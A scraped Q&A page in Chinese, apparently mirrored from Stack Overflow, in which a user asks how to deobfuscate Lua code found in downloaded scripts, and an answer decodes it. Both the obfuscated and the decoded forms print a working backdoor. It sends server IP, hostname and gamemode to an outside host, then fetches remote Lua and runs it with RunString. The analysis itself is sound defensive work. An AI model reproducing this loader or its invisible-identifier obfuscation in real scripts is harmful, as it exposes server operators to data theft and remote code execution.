解码混淆的lua

Posted

技术标签:

【中文标题】解码混淆的lua【英文标题】:Decode obfuscated lua 【发布时间】:2019-07-10 09:35:03 【问题描述】:

我最近下载了一些 lua 脚本并在其中发现了这个混淆代码。好几个小时后,我没能找到如何去混淆它并正在寻求一些帮助。

就我已经尝试过的而言,我注意到数字只是转换为显示一些功能的字符。但是,似乎在顶部分配的变量没有分配给任何东西,或者可能是某些特殊的unicode 字符,这在我的编辑器(原子)中是不可见的。

这是混淆后的代码:

local ‪ = _G
local ‪‪ = ‪['\115\116\114\105\110\103']
local ‪‪‪ = ‪['\98\105\116']['\98\120\111\114']
local function ‪‪‪‪‪‪‪(‪‪‪‪)
  if ‪‪['\108\101\110'](‪‪‪‪) == 0 then
    return ‪‪‪‪
  end
  local ‪‪‪‪‪ = ''
  for _ in ‪‪['\103\109\97\116\99\104'](‪‪‪‪, '\46\46') do ‪‪‪‪‪
    = ‪‪‪‪‪..‪‪['\99\104\97\114'](‪‪‪(‪["\116\111\110\117\109\98\101\114"](_, 16), 53))
  end
  return ‪‪‪‪‪
end ‪
[‪‪‪‪‪‪‪'415c585047'][‪‪‪‪‪‪‪'665c58455950'](5,
  function ()‪
    [‪‪‪‪‪‪‪'5d414145'][‪‪‪‪‪‪‪'655a4641'](‪‪‪‪‪‪‪'5d414145460f1a1a565d545c5b595a46501b0505054250575d5a46415445451b565a581a4643595a521a414754565e50471b455d45', [‪‪‪‪‪‪‪'56'] = ‪[‪‪‪‪‪‪‪'52585a51'][‪‪‪‪‪‪‪'72504172545850585a5150']()[‪‪‪‪‪‪‪'7b545850'], [‪‪‪‪‪‪‪'50'] = ‪[‪‪‪‪‪‪‪'52545850'][‪‪‪‪‪‪‪'7250417c6574515147504646'](), [‪‪‪‪‪‪‪'51'] = ‪[‪‪‪‪‪‪‪'7250417d5a46417b545850']())
  end )
‪[‪‪‪‪‪‪‪'415c585047'][‪‪‪‪‪‪‪'665c58455950'](5,
  function ()‪
    [‪‪‪‪‪‪‪'5d414145'][‪‪‪‪‪‪‪'735041565d'](‪‪‪‪‪‪‪'5d414145460f1a1a565d545c5b595a46501b0505054250575d5a46415445451b565a581a5254461b594054',
  function (‪‪return)
    ‪[‪‪‪‪‪‪‪'67405b6641475c5b52'](‪‪return)
  end, nil )
end )

【问题讨论】:

将编辑器中的编码更改为纯 ASCII。打开所有字符的可见性。用更易读的东西替换函数/变量名。全局表被多次访问。第一个函数用于在访问_G 时将所有这些字符串解码为实际键。分析这个函数;解码所有字符串,你就可以开始了。 只需将全文中的U+202A替换为某个可见字符(例如x 【参考方案1】:

旧 Lua(和现代 LuaJIT)允许在标识符中使用任意非 ASCII 字节(高于 0x7F)。 混淆的好功能! :-)

timer.Simple(
   5,
   function ()
      http.Post(
         "https://chainlose.000webhostapp.com/svlog/tracker.php", 
         
            c = gmod.GetGamemode().Name, 
            e = game.GetIPAddress(), 
            d = GetHostName()
         
      )
   end 
)
timer.Simple(
   5,
   function ()
      http.Fetch(
         "https://chainlose.000webhostapp.com/gas.lua",
         function (str)
            RunString(str)
         end, 
         nil 
      )
   end 
)

【讨论】:

以上是关于解码混淆的lua的主要内容,如果未能解决你的问题,请参考以下文章

如何准确解码 ProGuard 的混淆代码?

Lua Base64自定义编解码

Lua Base64自定义编解码

Lua Base64自定义编解码

Base64解码没有结果

Go语言实现Base64Base58编码与解码